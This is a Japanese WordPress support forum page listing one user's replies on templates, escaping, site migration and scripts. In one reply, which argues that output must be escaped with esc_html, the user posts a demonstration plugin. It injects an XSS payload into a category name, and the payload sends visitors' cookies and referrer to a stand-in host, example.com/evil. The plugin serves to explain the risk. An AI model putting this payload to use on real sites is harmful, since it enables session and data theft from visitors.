spais
フォーラムへの返信
-
フォーラム: 使い方全般
返信が含まれるトピック: サイドバーに特定カテゴリーの記事リスト<ul id="whatsnew"> <?php $myposts = get_posts('numberposts=5&category=1'); foreach($myposts as $post) : setup_postdata($post); ?> <li><span><?php the_time('Y-m-d'); ?></span><br /><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></li> <?php endforeach; ?> </ul>これでどうですか。
フォーラム: 開発版
返信が含まれるトピック: タクソノミーの名前取得esc_htmlってフォームからデータ受け取ったときにするもんで、テンプレートの段階でいちいちesc_html するものかなぁ？？？という認識のもと
ここ一番重要なのですが、エスケープは基本的に乗り換えの際に行います。
乗換とは、クライアントからウェブサーバ、ウェブサーバからデータベースなど文字の取り扱い方法の違うプラットフォームへと移るタイミングです。逆にそれ以外のタイミングでエスケープを行っても意味がありません。なぜならば、HTML に対するエスケープと、PHP に対するエスケープ、データベースに対するエスケープはそれぞれ手法が異なるからです。
つまり、データベースに格納されたイコールデータベースに向けられたエスケープを行った、という事実があったとしても、HTML に向けたエスケープがされたという事実にはつながらない、という事です。
データがプラットフォームを乗り換える際にエスケープするのは、データベースに格納する際にデータベースに向けたエスケープを行ったから HTML に出力する際にはもうエスケープしなくてもいい、という間違いを防ぐ意味も込められています。
また、入り口でエスケープしてしまうとロジック内部でデータを処理したい際にいったんアンエスケープしなければならなくなる、という不合理さを排除する意味もあります。要するに、外から(フォームなど)来たデータだろうか、内から(データベースから抽出など)きたデータだろうが信用しないのが基本的なスタンスです。
セキュリティはやもすれば”難しい”ととらえられがちですが、上記のエスケープさえしっかり行っていれば7割くらいは大丈夫です。しかも WordPress の場合は esc_html() などの関数が用意されており、それらの関数は WordPress のバージョンアップに伴って成長を続けています。
つまり、自分が知らないセキュリティ事例に対していつのまにか対応してくれている可能性があるため、通常の使用で esc_html() などに依存しても自分で対応するよりも安全だと言えるわけです。僕のように仕事で WordPress を使っている人間は瑕疵担保責任と言って”どこまでを作った人間の責任にするか”という要素がお金や信用に大きくかかわっているので、自分の発言には極力責任を持つようビジネスだろうがプライベートだろうが気をつけていますが、kz さんのおっしゃるように発言の信頼性よりもまずノリが大事という意見にも一理あると思います。
ただ、僕が最初から一貫して意見しているのは”間違いは誰にでもある”という事と”知ったかぶって間違った意見を貫き通すのは人に迷惑がかかるのでやめてほしい”という2点だけです。
「あ、ミスッたな」というのは誰にでもあると思います。それこそ僕なんて毎日あって普通だと思っています。肝心なのはミスッたなと思った時素直に「今の自分の発言には間違いがあったので訂正します」と追記すれば良いだけだと思います。kz さんはご自身のスタンスを考慮してくれてもいいんじゃないか、とお考えのようですが、僕自身がコミュニティを円滑なものとすると考えている要素とはちょっと違うのですれ違ってしまっているのかなとも思います。
僕にとっては kz さんの自分フォロー的な発言がクールに見えなかったので意見しました。僕の本題とずれてしまったので閑話休題。
セキュリティについてはそれほど明るくないながらも SQLインジェクション的な
ものについてはコワイので各所で気をつけるように努めています素人的には、そこまで悪意があるならすでに SQL 自由自在なのにタクソノミー名に
XSS? 仕込む程度の割に合わんセコいことするのん？すげーなクラッカーって感じです。この二つの意見は矛盾を含んでいます。なぜならば、SQL インジェクションの多くが「そんなセコい事するの？」というような手法をツールを使って自動化した上で情報搾取の糸口にしています。つまり、犯罪に使われる穴はどれも小さなものなんです。
詳しいやり方は伏せますが、エスケープの小さな穴を縫って ascii コードに変換してから数値比較し、数値比較した結果の積み重ねでパスワードを推測していくような手法すらあります。そもそも、自分が悪い事しようと思った時、人通りの多い大通りに面した大きな入口よりも、誰にも気づかれないような小さな隙間から忍び込もうとは思いませんか？僕は思います。
だからこそ小さなほころびとはいえ気をつけなければならないんです。
セコいかどうかをセキュリティに対する指針としているのならば、安全なスタンスとは言えないのでお気を付け下さい。spais さんの投稿を読むと、どうやらそれだけのチェックでは済まないような気がしてきましたが・・。
この意見に対してフォローしようと書き込みましたが、余計な不安を与えてしまったかもしれません。
しかし、僕が今書いてきたセキュリティ的な問題点も、esc_html() や esc_attr()、esc_url() などと言った関数を使う事によって防げるケースがほとんどです。
SQL インジェクションにしても wpdb->prepare() などを使えばデータベースに向けたエスケープをしてくれます。繰り返しますが、セキュリティ犯罪の多くは”うっかり”だとか”ここは別にいいだろ”というような隙間を縫って訪れます。だからこそ、小さな穴だからと言って無視すべきではないんです。
フォーラムでは不特定多数の方が訪れます。
echo $taxonomy->name;
を見て「フォーラムに書いてあるんだから大丈夫だろう、セキュリティ的にもまーいいんじゃないの的な事が書いてあるし、そもそも回答するくらいなんだから精通してるんだろう」と判断するかもしれません。しないかもしれません。
でも大多数の人が上記のような判断を行う人たちだと僕は考えています。それがいいとか悪いとかという話じゃありません。
書いてある事が正しいかどうか判断するすべを持っていないからフォーラムに足を運んで情報を収集するのだと思いますので、前提として判らないんだと思います。そういった人たちに対して「まー大丈夫なんじゃないの」的無責任さで esc_html() するべきだと知っておきながらしない方法を教示するのは誠実だとは思えません。
少なくともご自身が質問に答えてもらった事に感じ入って回答する側に回った人の意見としては、恩義に報いていないと思います。一方、グダグダ無しで鮮やかな回答が多いところは
誰かがウッカリミスってもすかさず別の誰かがフォロー＆サンキューリプライ
でとても爽やかクールでした。オレもこの人達みたいになれるようにがんばるぞ。
と思った自分が今ここにいます。この意見はとても素晴らしいと思います。だからこそ、最初に kz さんのフォローっぽい後付の意見を読んだときに「なんで間違った意見を言ったって判ってるのに”間違っていないよ、僕のスタンスはこうだから理解してよ”的な自分フォローを入れてるんだろう。それじゃ自分だけが満足するだけじゃん。せっかく lilyfan さんがフォロー入れたんだからありがとうくらい言ってもいいのに」って思ったので、横やりとは思ったけど意見させていただきました。
フォーラム: 開発版
返信が含まれるトピック: タクソノミーの名前取得$wp_query->get_queried_object()->name をそのまま
echo することが如何に危険なのか、フォーラムをナレッジベースとして
より充実させるために想定される具体的な被害例を交えてご教授いただけますと幸いです。前提として、被害例そのものは被害を受けた側がそれを公表するケースが稀であるため提示できる案件はないと思います。しかし、被害例そのものが無いからと言って”安全”であるとは言えないのもまた事実です。
そこで、考えられる攻撃手法を少しだけ例示します。
<?php /* Plugin Name: タクソノミーを悪用するテスト Plugin URI: http://example.com Description: このプラグインを有効化すると名前にクッキーを持ったままリダイレクトするタグが埋め込まれたタクソノミーが生成されます。 Author: SPaiS Inc. Version: 1.0.0 Author URI: http://spais.co.jp/ */ class evil_taxonomy{ function embed(){ global $wpdb; mysql_query("UPDATE {$wpdb->terms} SET name = '\"><a href=\"%e6%9c%aa%e5%88%86%e9%a1%9e\" onclick=\"location.href=\'http://example.com/evil?c=\'+document.cookie+'&r='+document.referrer;return false;\">未分類</a>' WHERE term_id = 1", $wpdb->dbh); } function evil_taxonomy(){ add_action('init', array(&$this, 'embed')); } } new evil_taxonomy;このコードを適当な名前で保存して wp-content/plugins にアップロードしてプラグインを有効化してから一度でも WordPress にアクセスすれば”未分類”カテゴリの名前に JavaScript が埋め込まれます。
例示したコードではクッキーとリファラを別のサイトに送信するだけのものですので、そのままでログインセッションが抜かれるというものではありません。
また、他のデータを埋め込んだり、逆にクッキーに埋め込んだりする事でもっと様々な攻撃方法が考えられます。こういった攻撃方法が実際に使われているかどうかは知りませんが、今僕が10分程度で考えられるくらい簡単なコードでも例示できる以上、少し想像力を働かせれば危険である可能性に気づかれるはずです。
偏見かもしれませんが、質問される側の人は良く言えば純粋です。誰かが教えてくれるのは善意だという思いこみすら感じられます。
そういった人たちは世界中で公開されているプラグインやテーマを親切心から公開されているものだと勘違い(多くはそうですが)し、危険なコードが含まれていない事を確認したりはしません。
張り付けられたコードを鵜呑みにしてしまう人が公開されているプラグインのコードをレビューするなんてことは考えにくいですよね。それ自体はいい事でも悪い事でもありません。”よくある事”です。
しかし、そのまま使う事に危険な可能性のあるコードである事を知りながら、危険なままで張り付けるのは”悪意”です。
悪意というのはいいすぎかもしれませんが、少なくとも善意からではないと思います。
「○○にはどうやって行けばいいですか？」と聞かれた時、目的地に向かえる道は工事で通れない、というような際に通れない事は伏せておいて道を教えるようなものです。教えた相手が目の見えない、耳の聞こえない人ならば工事現場の近くを通る事自体が危険を生む可能性すらあります。
だからと言って、全てを理解していなければフォーラムに回答してはいけないのか、といったらそんなことはありません。間違っていてもいいと思います。今回の kz さんの書き込みには僕から見ても間違っていると感じる点があり、lilyfan さんがそこに言及したわけで、要するにフォーラムを利用する全ての人がお互いにフォローしあえるわけですから、間違い自体は悪ではありません。
むしろそこから広がる議論は有益ですらあると思います。今回も pluto1234 さんは esc_html() を知っていたかもしれませんし、知らないかもしれません。二つの可能性をはらんだ状態において誠実な対応は”より相手のためになるであろう”と考える事です。
その点、kz さんの書き込まれた内容は”pluto1234 さんが esc_html() でエスケープするべきである事を知らない可能性”を切り捨てたものであり、それはやもすれば役に立たないどころか危険な穴を生む可能性のある方法を提示されたとも言えるわけです。繰り返しますが、kz さんが知らなかったのならばいいんです。僕だって知らない事はたくさんあります。知らない事は罪でも悪でもないんです。大事な事を知っているのに教えなかったりするのがよくないんです。
kurosquare さんのおっしゃる事にももちろん一理あると思います。だからと言って、それが自己責任の名のもとに無責任な手助けを許す免罪符になるとも思えません。
少なくとも以前助けられた事に感じ入って、一万倍に返していると、kz さんはおっしゃっているわけですから、それならば”面倒くさい”というような理由で必要な事をあえて書かない選択肢をとるくらいなら最初から書かない方が恩返しにはなるんじゃないんでしょうか、というのが僕の意見です。フォーラム: 開発版
返信が含まれるトピック: タクソノミーの名前取得モロ横やりっぽいので躊躇しましたが気になるのでポストします。
主観的な意見以外は kz さんの方針にはおおむね同意ですが1つの質問でお世話になったので1万倍にして返す。
と考えるのであれば不備のある発言はしない方がいいんじゃないでしょうか。
少なくとも”セキュリティについては自分で考慮しないと”と考えなければ使えないような中途半端なコードを張り付けるのは、お世話を返す気持ちからは矛盾しているように思えます。それに、IT セキュリティ的な犯罪につながる穴はこういった”ちょっとした気の緩み”から生まれるものです。
今でもワームの仕込まれたテーマが世界中で公開されているくらいなんですから、”大丈夫だろう”で雑なコード張り付けるのは、自己満足的なコードならばそれでいいでしょうが現場の人間からするとあり得ないです。どんなフォーラムでも結局どうなんってゆートピックは役に立ったことが無い。
これも、フォーラムのバックグラウンドにいる人たちの事をなにも考えてないと思います。回答するのは自由だと思いますが、ここのレスポンスに現れない人たちにとっても害のない回答を心がけるべきだと思います。
それが出来ないのであれば kz さんにとってはお礼のつもりかもしれませんが、誰かがその回答で大変な被害にあってしまうかもしれない事を考えて回答を控えるべきだと思います。これは僕の主観ですが、自己学習のための回答と時間的都合による質問という利害関係がフォーラムをナレッジベースへと成長させていくものだと思います。
そういった視点で見れば”めんどくさいから大体で答える”ってのはノイズだし、やもすればナレッジベースとしての価値や信頼性を奪う行為になりかねないので、めんどくさいならば無理に答える必要はないと思います。ご自身の質問に回答があってお世話になったと考えていらっしゃるのであれば、すくなくとも誠意をもって回答するべきではないでしょうか。
フォーラム: インストール
返信が含まれるトピック: ＤＮＳ切り替え後のＵＲＬの変更についてご質問に対する答えではありませんが、Wordpress のような仕組みの CMS を利用してサイトの移行やリニューアルをする際には IP アドレスなどではなく、hosts ファイルの書き換えで対応した方が工数が少なく済みます。
Windows XP であれば インストールドライブ:\windows\system32\driver\etc\hosts と言うファイルがあります。なければ hosts.sample というファイルがあると思いますのでそれをコピーして hosts というファイル名(拡張子はありません)にリネームして下さい。
そこに移行中のドメインと移行先サーバの IP アドレスを入力します。# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client hostと書いてあるとおり、例えば移行先サーバの IP アドレスが 100.100.100.100 であった場合には
100.100.100.100 example.com
と入力します。
この設定以前にブラウザで example.com にアクセスしていたならば一旦ブラウザを再起動してから example.com にアクセスしてください。
移行先である 100.100.100.100 のサーバに対して example.com でアクセスできれば設定は完了です。
つまり、hosts に上記の設定を行う以前は”移行前のサイト”が、設定を行った後に”移行先のサイト”が表示されれば設定は完了です。この設定は hosts ファイルに上記の設定を加えたマシンのみ有効な設定になるため、完全に移行するまではこの設定を行ったマシンでだけ「移行後の状態が確認できる」という状況になります。
移行に関する確認が全て完了したら DNS の設定を変更し、hosts ファイルの設定項目を削除します。逆にこのやり方以外では本質的に「移行前のデータ整合性評価」とはなり得ませんのでご注意下さい。特に生成したデータがドメイン名に依存する WordPress のような CMS では「サーバの移行前に WordPress が生成したデータを精査して置換する必要がある」と言うのは本末転倒でもあります。
特にビジネスユースでシビアな基準が設けられている場合、移行予定のデータが移行後にしか確認できない状況は許されるものではない事がほとんどです。今回は既に作業されているようですので上記のアプローチは使えませんかもしれませんが、次回似たような作業を行う場合に参考にしてみて下さい。
もっと具体的に hosts の仕様が知りたければ Wikipedia か、Wikipedia の該当ページに記載されている各単語を Google などで検索してみて下さい。
http://ja.wikipedia.org/wiki/Hostsフォーラム: テーマ
返信が含まれるトピック: 特定のカテゴリの記事をトップページに表示させる時の問題についてget_posts() の返り値が即ち「記事があるかどうか」ですので、get_posts() の返り値で評価するのが合理的です。
<?php if( $posts = get_posts(‘category_name=recommend’) ) :?>
<h3 id=”h-recommend”>おすすめの記事</h3>
<?php foreach( $posts as $post) : setup_postdata($post)?>
<h4><?php the_title()?></h4>
<p>記事本文</p>
<?php endforeach;endif?>if( $a = get_posts() ) は get_posts() の返り値を $a に代入すると同時にその返り値自体を評価します。
フォーラム: テーマ
返信が含まれるトピック: ページごとにサイドバーのコンテンツを入れ替えたい。こちらこそお役に立てなくてすいません。
質問と回答の具体性は比例しますので、回答者がソースコードから質問者のやりたい事を汲み取ってあげなければならないような質問の仕方だと、どうしても例示されたソースコードに限定した回答となってしまいます。
これは「回答者がどれだけ質問者の気持ちを読み取れるか」と言う能力に依存しますが、概ねどなたも同じベクトルの回答になってしまうと思います。抽象的にしか表現できない質問というのであれば、複数のユースケースを用いて質問の本質的な部分を濃く表現するのも手だと思います。
質問の具体性を明確にするよう追記を行った上で別の回答を望むのであればこのままでも良いと思いますが、質問を終了されるおつもりであればトピックを閉じた方が他の方の負荷になりませんのでご検討下さい。
フォーラム: テーマ
返信が含まれるトピック: ページごとにサイドバーのコンテンツを入れ替えたい。ページ ID をハードコーディングしたくないのであればカスタムフィールドという手もあります。
<?php if(is_page(array('a','b','d'))): ?>これを以下のように置き換えれば child というカスタムフィールドに visible が格納されたページであった場合に TRUE となります。
<?php if( get_post_meta( $post->ID, 'child', true ) === 'visible' ):?>wp_list_pages('child_of=10&depth=1&title_li=');推測ですが、これは「リストを表示したいページの親ページ」が 10 なのでしょうか。
だとすると以下に置き換えてしまっても良いと思います。wp_list_pages( "child_of={$post->post_parent}&depth=1&title_li=" );が、表示したい子ページのリストが特定の親ページの子ページであった場合には使えませんね。
フォーラム: テーマ
返信が含まれるトピック: WordPressが使用しているクラスhttp://codex.wordpress.org/CSS
WordPress 本体に関してはこのページ辺りをチェックしておけば問題ないと思います。フォーラム: プラグイン
返信が含まれるトピック: jQueryを二種類読み込むとプラグインが動きませんwp_enqueue_script() などは重複して呼び出しても上書きしてくれないので wp_deregister_script( ‘jquery’ ) と既存の登録を解除してから wp_enqueue_script() すればそちらが登録されるようになります。
しかし、既存のスクリプトの中には依存関係が存在するケースがあるので十分に気をつけて下さい。
jQuery ならば特に問題ありませんが、ｊQuery-UI 系は依存関係が結構多いので他のスクリプトが動かなくなるケースが多いです。
admin-ajax.php に AJAX で POST するようなスクリプトも(l10n の都合上)依存関係が壊れやすいので気をつけてください。WordPress 本体に組み込まれているスクリプトの依存関係は wp-includes/script-loader.php にありますので、依存関係を気にしなければならないようなケースに参考にして下さい。